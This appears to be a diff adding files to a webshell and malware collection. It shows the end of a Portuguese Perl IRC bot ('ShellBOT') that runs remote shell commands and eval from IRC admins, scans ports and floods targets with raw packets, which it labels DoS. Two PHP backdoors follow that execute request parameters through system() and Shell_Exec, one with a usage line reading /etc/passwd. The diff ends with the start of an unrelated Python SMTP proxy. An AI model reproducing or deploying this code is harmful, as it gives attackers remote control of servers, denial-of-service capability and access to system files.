$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
|
||||
nick("$meunick");
|
||||
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
|
||||
sleep 1;
|
||||
}
|
||||
|
||||
}
|
||||
my $line_temp;
|
||||
while( 1 ) {
|
||||
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
|
||||
delete($irc_servers{''}) if (defined($irc_servers{''}));
|
||||
&DCC::connections;
|
||||
my @ready = $sel_cliente->can_read(0);
|
||||
next unless(@ready);
|
||||
foreach $fh (@ready) {
|
||||
$IRC_cur_socket = $fh;
|
||||
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
|
||||
$nread = sysread($fh, $msg, 4096);
|
||||
if ($nread == 0) {
|
||||
$sel_cliente->remove($fh);
|
||||
$fh->close;
|
||||
delete($irc_servers{$fh});
|
||||
}
|
||||
@lines = split (/\n/, $msg);
|
||||
|
||||
for(my $c=0; $c<= $#lines; $c++) {
|
||||
$line = $lines[$c];
|
||||
$line=$line_temp.$line if ($line_temp);
|
||||
$line_temp='';
|
||||
$line =~ s/\r$//;
|
||||
unless ($c == $#lines) {
|
||||
parse("$line");
|
||||
} else {
|
||||
if ($#lines == 0) {
|
||||
parse("$line");
|
||||
} elsif ($lines[$c] =~ /\r$/) {
|
||||
parse("$line");
|
||||
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
|
||||
parse("$line");
|
||||
} else {
|
||||
$line_temp = $line;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
sub parse {
|
||||
my $servarg = shift;
|
||||
if ($servarg =~ /^PING \:(.*)/) {
|
||||
sendraw("PONG :$1");
|
||||
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
|
||||
my $pn=$1; my $onde = $4; my $args = $5;
|
||||
if ($args =~ /^\001VERSION\001$/) {
|
||||
notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
|
||||
}
|
||||
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
|
||||
if ($onde eq "$meunick"){
|
||||
shell("$pn", "$args");
|
||||
}
|
||||
if ($args =~ /^(\Q$meunick\E|\!nod)\s+(.*)/ ) {
|
||||
my $natrix = $1;
|
||||
my $arg = $2;
|
||||
if ($arg =~ /^\!(.*)/) {
|
||||
ircase("$pn","$onde","$1") unless ($natrix eq "!nod" and $arg =~ /^\!nick/);
|
||||
} elsif ($arg =~ /^\@(.*)/) {
|
||||
$ondep = $onde;
|
||||
$ondep = $pn if $onde eq $meunick;
|
||||
bfunc("$ondep","$1");
|
||||
} else {
|
||||
shell("$onde", "$arg");
|
||||
}
|
||||
}
|
||||
}
|
||||
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
|
||||
if (lc($1) eq lc($meunick)) {
|
||||
$meunick=$4;
|
||||
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
|
||||
}
|
||||
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
|
||||
nick("$meunick".int rand(9999));
|
||||
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
|
||||
$meunick = $2;
|
||||
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
|
||||
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
|
||||
foreach my $canal (@canais) {
|
||||
sendraw("JOIN $canal");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub bfunc {
|
||||
my $printl = $_[0];
|
||||
my $funcarg = $_[1];
|
||||
if (my $pid = fork) {
|
||||
waitpid($pid, 0);
|
||||
} else {
|
||||
if (fork) {
|
||||
exit;
|
||||
} else {
|
||||
if ($funcarg =~ /^portscan (.*)/) {
|
||||
my $hostip="$1";
|
||||
my @portas=("21","22","23","25","53","80","110","143");
|
||||
my (@aberta, %porta_banner);
|
||||
foreach my $porta (@portas) {
|
||||
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
|
||||
if ($scansock) {
|
||||
push (@aberta, $porta);
|
||||
$scansock->close;
|
||||
}
|
||||
}
|
||||
|
||||
if (@aberta) {
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
|
||||
} else {
|
||||
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
|
||||
}
|
||||
}
|
||||
if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
|
||||
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
|
||||
$dtime = 1 if $dtime == 0;
|
||||
my %bytes;
|
||||
$bytes{igmp} = $2 * $pacotes{igmp};
|
||||
$bytes{icmp} = $2 * $pacotes{icmp};
|
||||
$bytes{o} = $2 * $pacotes{o};
|
||||
$bytes{udp} = $2 * $pacotes{udp};
|
||||
$bytes{tcp} = $2 * $pacotes{tcp};
|
||||
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
|
||||
|
||||
|
||||
}
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub ircase {
|
||||
my ($kem, $printl, $case) = @_;
|
||||
|
||||
if ($case =~ /^join (.*)/) {
|
||||
j("$1");
|
||||
}
|
||||
if ($case =~ /^part (.*)/) {
|
||||
p("$1");
|
||||
}
|
||||
if ($case =~ /^rejoin\s+(.*)/) {
|
||||
my $chan = $1;
|
||||
if ($chan =~ /^(\d+) (.*)/) {
|
||||
for (my $ca = 1; $ca <= $1; $ca++ ) {
|
||||
p("$2");
|
||||
j("$2");
|
||||
}
|
||||
} else {
|
||||
p("$chan");
|
||||
j("$chan");
|
||||
}
|
||||
}
|
||||
if ($case =~ /^op/) {
|
||||
op("$printl", "$kem") if $case eq "op";
|
||||
my $oarg = substr($case, 3);
|
||||
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
|
||||
}
|
||||
if ($case =~ /^deop/) {
|
||||
deop("$printl", "$kem") if $case eq "deop";
|
||||
my $oarg = substr($case, 5);
|
||||
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
|
||||
}
|
||||
if ($case =~ /^voice/) {
|
||||
voice("$printl", "$kem") if $case eq "voice";
|
||||
$oarg = substr($case, 6);
|
||||
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
|
||||
}
|
||||
if ($case =~ /^devoice/) {
|
||||
devoice("$printl", "$kem") if $case eq "devoice";
|
||||
$oarg = substr($case, 8);
|
||||
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
|
||||
}
|
||||
if ($case =~ /^msg\s+(\S+) (.*)/) {
|
||||
msg("$1", "$2");
|
||||
}
|
||||
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
|
||||
for (my $cf = 1; $cf <= $1; $cf++) {
|
||||
msg("$2", "$3");
|
||||
}
|
||||
}
|
||||
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
|
||||
ctcp("$1", "$2");
|
||||
}
|
||||
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
|
||||
for (my $cf = 1; $cf <= $1; $cf++) {
|
||||
ctcp("$2", "$3");
|
||||
}
|
||||
}
|
||||
if ($case =~ /^invite\s+(\S+) (.*)/) {
|
||||
invite("$1", "$2");
|
||||
}
|
||||
if ($case =~ /^nick (.*)/) {
|
||||
nick("$1");
|
||||
}
|
||||
if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
|
||||
conectar("$2", "$1", 6667);
|
||||
}
|
||||
if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
|
||||
DCC::SEND("$1", "$2");
|
||||
}
|
||||
if ($case =~ /^raw (.*)/) {
|
||||
sendraw("$1");
|
||||
}
|
||||
if ($case =~ /^eval (.*)/) {
|
||||
eval "$1";
|
||||
}
|
||||
}
|
||||
sub shell {
|
||||
return unless $secv;
|
||||
my $printl=$_[0];
|
||||
my $comando=$_[1];
|
||||
if ($comando =~ /cd (.*)/) {
|
||||
chdir("$1") || msg("$printl", "Diert?? inexistente!");
|
||||
return;
|
||||
}
|
||||
elsif ($pid = fork) {
|
||||
waitpid($pid, 0);
|
||||
} else {
|
||||
if (fork) {
|
||||
exit;
|
||||
} else {
|
||||
my @resp=`$comando 2>&1 3>&1`;
|
||||
my $c=0;
|
||||
foreach my $linha (@resp) {
|
||||
$c++;
|
||||
chop $linha;
|
||||
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
|
||||
if ($c == "$linas_max") {
|
||||
$c=0;
|
||||
sleep $sleep;
|
||||
}
|
||||
}
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
|
||||
sub attacker {
|
||||
my $iaddr = inet_aton($_[0]);
|
||||
my $msg = 'B' x $_[1];
|
||||
my $ftime = $_[2];
|
||||
my $cp = 0;
|
||||
my (%pacotes);
|
||||
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
|
||||
|
||||
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
|
||||
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
|
||||
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
|
||||
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
|
||||
return(undef) if $cp == 4;
|
||||
my $itime = time;
|
||||
my ($cur_time);
|
||||
while ( 1 ) {
|
||||
for (my $porta = 1; $porta <= 65535; $porta++) {
|
||||
$cur_time = time - $itime;
|
||||
last if $cur_time >= $ftime;
|
||||
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
|
||||
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
|
||||
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
|
||||
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
|
||||
|
||||
# DoS ?? :P
|
||||
for (my $pc = 3; $pc <= 255;$pc++) {
|
||||
next if $pc == 6;
|
||||
$cur_time = time - $itime;
|
||||
last if $cur_time >= $ftime;
|
||||
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
|
||||
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
|
||||
}
|
||||
}
|
||||
last if $cur_time >= $ftime;
|
||||
}
|
||||
return($cur_time, %pacotes);
|
||||
}
|
||||
|
||||
|
||||
|
||||
#############
|
||||
# ALIASES #
|
||||
#############
|
||||
|
||||
sub action {
|
||||
return unless $#_ == 1;
|
||||
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
|
||||
}
|
||||
|
||||
sub ctcp {
|
||||
return unless $#_ == 1;
|
||||
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
|
||||
}
|
||||
sub msg {
|
||||
return unless $#_ == 1;
|
||||
sendraw("PRIVMSG $_[0] :$_[1]");
|
||||
}
|
||||
|
||||
sub notice {
|
||||
return unless $#_ == 1;
|
||||
sendraw("NOTICE $_[0] :$_[1]");
|
||||
}
|
||||
|
||||
sub op {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] +o $_[1]");
|
||||
}
|
||||
sub deop {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] -o $_[1]");
|
||||
}
|
||||
sub hop {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] +h $_[1]");
|
||||
}
|
||||
sub dehop {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] +h $_[1]");
|
||||
}
|
||||
sub voice {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] +v $_[1]");
|
||||
}
|
||||
sub devoice {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] -v $_[1]");
|
||||
}
|
||||
sub ban {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] +b $_[1]");
|
||||
}
|
||||
sub unban {
|
||||
return unless $#_ == 1;
|
||||
sendraw("MODE $_[0] -b $_[1]");
|
||||
}
|
||||
sub kick {
|
||||
return unless $#_ == 1;
|
||||
sendraw("KICK $_[0] $_[1] :$_[2]");
|
||||
}
|
||||
|
||||
sub modo {
|
||||
return unless $#_ == 0;
|
||||
sendraw("MODE $_[0] $_[1]");
|
||||
}
|
||||
sub mode { modo(@_); }
|
||||
|
||||
sub j { &join(@_); }
|
||||
sub join {
|
||||
return unless $#_ == 0;
|
||||
sendraw("JOIN $_[0]");
|
||||
}
|
||||
sub p { part(@_); }
|
||||
sub part {sendraw("PART $_[0]");}
|
||||
|
||||
sub nick {
|
||||
return unless $#_ == 0;
|
||||
sendraw("NICK $_[0]");
|
||||
}
|
||||
|
||||
sub invite {
|
||||
return unless $#_ == 1;
|
||||
sendraw("INVITE $_[1] $_[0]");
|
||||
}
|
||||
sub topico {
|
||||
return unless $#_ == 1;
|
||||
sendraw("TOPIC $_[0] $_[1]");
|
||||
}
|
||||
sub topic { topico(@_); }
|
||||
|
||||
sub whois {
|
||||
return unless $#_ == 0;
|
||||
sendraw("WHOIS $_[0]");
|
||||
}
|
||||
sub who {
|
||||
return unless $#_ == 0;
|
||||
sendraw("WHO $_[0]");
|
||||
}
|
||||
sub names {
|
||||
return unless $#_ == 0;
|
||||
sendraw("NAMES $_[0]");
|
||||
}
|
||||
sub away {
|
||||
sendraw("AWAY $_[0]");
|
||||
}
|
||||
sub back { away(); }
|
||||
sub quit {
|
||||
sendraw("QUIT :$_[0]");
|
||||
}
|
||||
|
||||
|
||||
|
||||
# DCC
|
||||
package DCC;
|
||||
|
||||
sub connections {
|
||||
my @ready = $dcc_sel->can_read(1);
|
||||
# return unless (@ready);
|
||||
foreach my $fh (@ready) {
|
||||
my $dcctipo = $DCC{$fh}{tipo};
|
||||
my $arquivo = $DCC{$fh}{arquivo};
|
||||
my $bytes = $DCC{$fh}{bytes};
|
||||
my $cur_byte = $DCC{$fh}{curbyte};
|
||||
my $nick = $DCC{$fh}{nick};
|
||||
|
||||
my $msg;
|
||||
my $nread = sysread($fh, $msg, 10240);
|
||||
|
||||
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
|
||||
$DCC{$fh}{status} = "Cancelado";
|
||||
$DCC{$fh}{ftime} = time;
|
||||
$dcc_sel->remove($fh);
|
||||
$fh->close;
|
||||
next;
|
||||
}
|
||||
|
||||
if ($dcctipo eq "get") {
|
||||
$DCC{$fh}{curbyte} += length($msg);
|
||||
|
||||
my $cur_byte = $DCC{$fh}{curbyte};
|
||||
|
||||
open(FILE, ">> $arquivo");
|
||||
print FILE "$msg" if ($cur_byte <= $bytes);
|
||||
close(FILE);
|
||||
|
||||
my $packbyte = pack("N", $cur_byte);
|
||||
print $fh "$packbyte";
|
||||
|
||||
if ($bytes == $cur_byte) {
|
||||
$dcc_sel->remove($fh);
|
||||
$fh->close;
|
||||
$DCC{$fh}{status} = "Recebido";
|
||||
$DCC{$fh}{ftime} = time;
|
||||
next;
|
||||
}
|
||||
} elsif ($dcctipo eq "send") {
|
||||
my $send = $fh->accept;
|
||||
$send->autoflush(1);
|
||||
$dcc_sel->add($send);
|
||||
$dcc_sel->remove($fh);
|
||||
$DCC{$send}{tipo} = 'sendcon';
|
||||
$DCC{$send}{itime} = time;
|
||||
$DCC{$send}{nick} = $nick;
|
||||
$DCC{$send}{bytes} = $bytes;
|
||||
$DCC{$send}{curbyte} = 0;
|
||||
$DCC{$send}{arquivo} = $arquivo;
|
||||
$DCC{$send}{ip} = $send->peerhost;
|
||||
$DCC{$send}{porta} = $send->peerport;
|
||||
$DCC{$send}{status} = "Enviando";
|
||||
|
||||
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
|
||||
open(FILE, "< $arquivo");
|
||||
my $fbytes;
|
||||
read(FILE, $fbytes, 1024);
|
||||
print $send "$fbytes";
|
||||
close FILE;
|
||||
# delete($DCC{$fh});
|
||||
} elsif ($dcctipo eq 'sendcon') {
|
||||
my $bytes_sended = unpack("N", $msg);
|
||||
$DCC{$fh}{curbyte} = $bytes_sended;
|
||||
if ($bytes_sended == $bytes) {
|
||||
$fh->close;
|
||||
$dcc_sel->remove($fh);
|
||||
$DCC{$fh}{status} = "Enviado";
|
||||
$DCC{$fh}{ftime} = time;
|
||||
next;
|
||||
}
|
||||
open(SENDFILE, "< $arquivo");
|
||||
seek(SENDFILE, $bytes_sended, 0);
|
||||
my $send_bytes;
|
||||
read(SENDFILE, $send_bytes, 1024);
|
||||
print $fh "$send_bytes";
|
||||
close(SENDFILE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
sub SEND {
|
||||
my ($nick, $arquivo) = @_;
|
||||
unless (-r "$arquivo") {
|
||||
return(0);
|
||||
}
|
||||
|
||||
my $dccark = $arquivo;
|
||||
$dccark =~ s/[.*\/](\S+)/$1/;
|
||||
|
||||
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
|
||||
my $longip = unpack("N",inet_aton($meuip));
|
||||
|
||||
my @filestat = stat($arquivo);
|
||||
my $size_total=$filestat[7];
|
||||
if ($size_total == 0) {
|
||||
return(0);
|
||||
}
|
||||
|
||||
my ($porta, $sendsock);
|
||||
do {
|
||||
$porta = int rand(64511);
|
||||
$porta += 1024;
|
||||
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
|
||||
} until $sendsock;
|
||||
|
||||
$DCC{$sendsock}{tipo} = 'send';
|
||||
$DCC{$sendsock}{nick} = $nick;
|
||||
$DCC{$sendsock}{bytes} = $size_total;
|
||||
$DCC{$sendsock}{arquivo} = $arquivo;
|
||||
|
||||
|
||||
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
|
||||
|
||||
}
|
||||
|
||||
sub GET {
|
||||
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
|
||||
return(0) if (-e "$arquivo");
|
||||
if (open(FILE, "> $arquivo")) {
|
||||
close FILE;
|
||||
} else {
|
||||
return(0);
|
||||
}
|
||||
|
||||
my $dccip=fixaddr($dcclongip);
|
||||
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
|
||||
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
|
||||
$dccsock->autoflush(1);
|
||||
$dcc_sel->add($dccsock);
|
||||
$DCC{$dccsock}{tipo} = 'get';
|
||||
$DCC{$dccsock}{itime} = time;
|
||||
$DCC{$dccsock}{nick} = $nick;
|
||||
$DCC{$dccsock}{bytes} = $bytes;
|
||||
$DCC{$dccsock}{curbyte} = 0;
|
||||
$DCC{$dccsock}{arquivo} = $arquivo;
|
||||
$DCC{$dccsock}{ip} = $dccip;
|
||||
$DCC{$dccsock}{porta} = $dccporta;
|
||||
$DCC{$dccsock}{status} = "Recebendo";
|
||||
}
|
||||
|
||||
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
|
||||
sub Status {
|
||||
my $socket = shift;
|
||||
my $sock_tipo = $DCC{$socket}{tipo};
|
||||
unless (lc($sock_tipo) eq "chat") {
|
||||
my $nick = $DCC{$socket}{nick};
|
||||
my $arquivo = $DCC{$socket}{arquivo};
|
||||
my $itime = $DCC{$socket}{itime};
|
||||
my $ftime = time;
|
||||
my $status = $DCC{$socket}{status};
|
||||
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
|
||||
|
||||
my $d_time = $ftime-$itime;
|
||||
|
||||
my $cur_byte = $DCC{$socket}{curbyte};
|
||||
my $bytes_total = $DCC{$socket}{bytes};
|
||||
|
||||
my $rate = 0;
|
||||
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
|
||||
my $porcen = ($cur_byte*100)/$bytes_total;
|
||||
|
||||
my ($r_duv, $p_duv);
|
||||
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
|
||||
$r_duv = $3; $r_duv++ if $4 >= 5;
|
||||
$rate = "$1\.$2"."$r_duv";
|
||||
}
|
||||
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
|
||||
$p_duv = $3; $p_duv++ if $4 >= 5;
|
||||
$porcen = "$1\.$2"."$p_duv";
|
||||
}
|
||||
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
|
||||
}
|
||||
|
||||
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
|
||||
sub fixaddr {
|
||||
my ($address) = @_;
|
||||
|
||||
chomp $address; # just in case, sigh.
|
||||
if ($address =~ /^\d+$/) {
|
||||
return inet_ntoa(pack "N", $address);
|
||||
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
|
||||
return $address;
|
||||
} elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
|
||||
return inet_ntoa(((gethostbyname($address))[4])[0]);
|
||||
} elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
|
||||
return inet_ntoa(((gethostbyname($address))[4])[0]);
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
by Danilo
|
||||
|
||||
|
||||
|
||||
|
||||
17
138shell/S/simple-backdoor.txt
Normal file
17
138shell/S/simple-backdoor.txt
Normal file
@@ -0,0 +1,17 @@
|
||||
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
|
||||
|
||||
<?php
|
||||
|
||||
if(isset($_REQUEST['cmd'])){
|
||||
echo "<pre>";
|
||||
$cmd = ($_REQUEST['cmd']);
|
||||
system($cmd);
|
||||
echo "</pre>";
|
||||
die;
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
|
||||
|
||||
<!-- http://michaeldaw.org 2006 -->
|
||||
18
138shell/S/simple_cmd.txt
Normal file
18
138shell/S/simple_cmd.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>G-Security Webshell</title>
|
||||
</head>
|
||||
|
||||
<body bgcolor=#000000 text=#ffffff ">
|
||||
<form method=POST>
|
||||
<br>
|
||||
<input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"
|
||||
style="background:#000000;color:#ffffff;">
|
||||
<hr>
|
||||
<pre>
|
||||
<? $cmd = $_REQUEST["-cmd"];?>
|
||||
<? if($cmd != "") print Shell_Exec($cmd);?>
|
||||
</pre>
|
||||
</form>
|
||||
</body>
|
||||
</html
|
||||
549
138shell/S/smtpd.py.txt
Normal file
549
138shell/S/smtpd.py.txt
Normal file
@@ -0,0 +1,549 @@
|
||||
#!/usr/local/bin/python
|
||||
"""An RFC 2821 smtp proxy.
|
||||
|
||||
Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]
|
||||
|
||||
Options:
|
||||
|
||||
--nosetuid
|
||||
-n
|
||||
This program generally tries to setuid `nobody', unless this flag is
|
||||
set. The setuid call will fail if this program is not run as root (in
|
||||
which case, use this flag).
|
||||
|
||||
--version
|
||||
-V
|
||||
Print the version number and exit.
|
||||
|
||||
--class classname
|
||||
-c classname
|
||||
Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by
|
||||
default.
|
||||
|
||||
--debug
|
||||
-d
|
||||
Turn on debugging prints.
|
||||
|
||||
--help
|
||||
-h
|
||||
Print this message and exit.
|
||||
|
||||
Version: %(__version__)s
|
||||
|
||||
If localhost is not given then `localhost' is used, and if localport is not
|
||||
given then 8025 is used. If remotehost is not given then `localhost' is used,
|
||||
and if remoteport is not given, then 25 is used.
|
||||
"""
|
||||
|
||||
|
||||
# Overview:
|
||||
#
|
||||
# This file implements the minimal SMTP protocol as defined in RFC 821. It
|
||||
# has a hierarchy of classes which implement the backend functionality for the
|
||||
# smtpd. A number of classes are provided:
|
||||
#
|
||||
# SMTPServer - the base class for the backend. Raises NotImplementedError
|
||||
# if you try to use it.
|
||||
#
|
||||
# DebuggingServer - simply prints each message it receives on stdout.
|
||||
#
|
||||
# PureProxy - Proxies all messages to a real smtpd which does final
|
||||
# delivery. One known problem with this class is that it doesn't handle
|
||||
# SMTP errors from the backend server at all. This should be fixed
|
||||
# (contributions are welcome!).
|
||||
#
|
||||
# MailmanProxy - An experimental hack to work with GNU Mailman
|
||||
# <www.list.org>. Using this server as your real incoming smtpd, your
|
||||
# mailhost will automatically recognize and accept mail destined to Mailman
|
||||
# lists when those lists are created. Every message not destined for a list
|
||||
# gets forwarded to a real backend smtpd, as with PureProxy. Again, errors
|
||||
# are not handled correctly yet.
|
||||
#
|
||||
# Please note that this script requires Python 2.0
|
||||
#
|
||||
# Author: Barry Warsaw <barry@python.org>
|
||||
#
|
||||
# TODO:
|
||||
#
|
||||
# - support mailbox delivery
|
||||
# - alias files
|
||||
# - ESMTP
|
||||
# - handle error codes from the backend smtpd
|
||||
|
||||
import sys
|
||||
import os
|
||||
import errno
|
||||
import getopt
|
||||
import time
|
||||
import socket
|
||||
import asyncore
|
||||
import asynchat
|
||||
|
||||
__all__ = ["SMTPServer","DebuggingServer","PureProxy","MailmanProxy"]
|
||||
|
||||
program = sys.argv[0]
|
||||
__version__ = 'Python SMTP proxy version 0.2'
|
||||
|
||||
|
||||
class Devnull:
|
||||
def write(self, msg): pass
|
||||
def flush(self): pass
|
||||
|
||||
|
||||
DEBUGSTREAM = Devnull()
|
||||
NEWLINE = '\n'
|
||||
EMPTYSTRING = ''
|
||||
COMMASPACE = ', '
|
||||
|
||||
|
||||
|
||||
def usage(code, msg=''):
|
||||
print >> sys.stderr, __doc__ % globals()
|
||||
if msg:
|
||||
print >> sys.stderr, msg
|
||||
sys.exit(code)
|
||||
|
||||
|
||||
|
||||
class SMTPChannel(asynchat.async_chat):
|
||||
COMMAND = 0
|
||||
DATA = 1
|
||||
|
||||
def __init__(self, server, conn, addr):
|
||||
asynchat.async_chat.__init__(self, conn)
|
||||
self.__server = server
|
||||
self.__conn = conn
|
||||
self.__addr = addr
|
||||
self.__line = []
|
||||
self.__state = self.COMMAND
|
||||
self.__greeting = 0
|
||||
self.__mailfrom = None
|
||||
self.__rcpttos = []
|
||||
self.__data = ''
|
||||
self.__fqdn = socket.getfqdn()
|
||||
self.__peer = conn.getpeername()
|
||||
print >> DEBUGSTREAM, 'Peer:', repr(self.__peer)
|
||||
self.push('220 %s %s' % (self.__fqdn, __version__))
|
||||
self.set_terminator('\r\n')
|
||||
|
||||
# Overrides base class for convenience
|
||||
def push(self, msg):
|
||||
asynchat.async_chat.push(self, msg + '\r\n')
|
||||
|
||||
# Implementation of base class abstract method
|
||||
def collect_incoming_data(self, data):
|
||||
self.__line.append(data)
|
||||
|
||||
# Implementation of base class abstract method
|
||||
def found_terminator(self):
|
||||
line = EMPTYSTRING.join(self.__line)
|
||||
print >> DEBUGSTREAM, 'Data:', repr(line)
|
||||
self.__line = []
|
||||
if self.__state == self.COMMAND:
|
||||
if not line:
|
||||
self.push('500 Error: bad syntax')
|
||||
return
|
||||
method = None
|
||||
i = line.find(' ')
|
||||
if i < 0:
|
||||
command = line.upper()
|
||||
arg = None
|
||||
else:
|
||||
command = line[:i].upper()
|
||||
arg = line[i+1:].strip()
|
||||
method = getattr(self, 'smtp_' + command, None)
|
||||
if not method:
|
||||
self.push('502 Error: command "%s" not implemented' % command)
|
||||
return
|
||||
method(arg)
|
||||
return
|
||||
else:
|
||||
if self.__state != self.DATA:
|
||||
self.push('451 Internal confusion')
|
||||
return
|
||||
# Remove extraneous carriage returns and de-transparency according
|
||||
# to RFC 821, Section 4.5.2.
|
||||
data = []
|
||||
for text in line.split('\r\n'):
|
||||
if text and text[0] == '.':
|
||||
data.append(text[1:])
|
||||
else:
|
||||
data.append(text)
|
||||
self.__data = NEWLINE.join(data)
|
||||
status = self.__server.process_message(self.__peer,
|
||||
self.__mailfrom,
|
||||
self.__rcpttos,
|
||||
self.__data)
|
||||
self.__rcpttos = []
|
||||
self.__mailfrom = None
|
||||
self.__state = self.COMMAND
|
||||
self.set_terminator('\r\n')
|
||||
if not status:
|
||||
self.push('250 Ok')
|
||||
else:
|
||||
self.push(status)
|
||||
|
||||
# SMTP and ESMTP commands
|
||||
def smtp_HELO(self, arg):
|
||||
if not arg:
|
||||
self.push('501 Syntax: HELO hostname')
|
||||
return
|
||||
if self.__greeting:
|
||||
self.push('503 Duplicate HELO/EHLO')
|
||||
else:
|
||||
self.__greeting = arg
|
||||
self.push('250 %s' % self.__fqdn)
|
||||
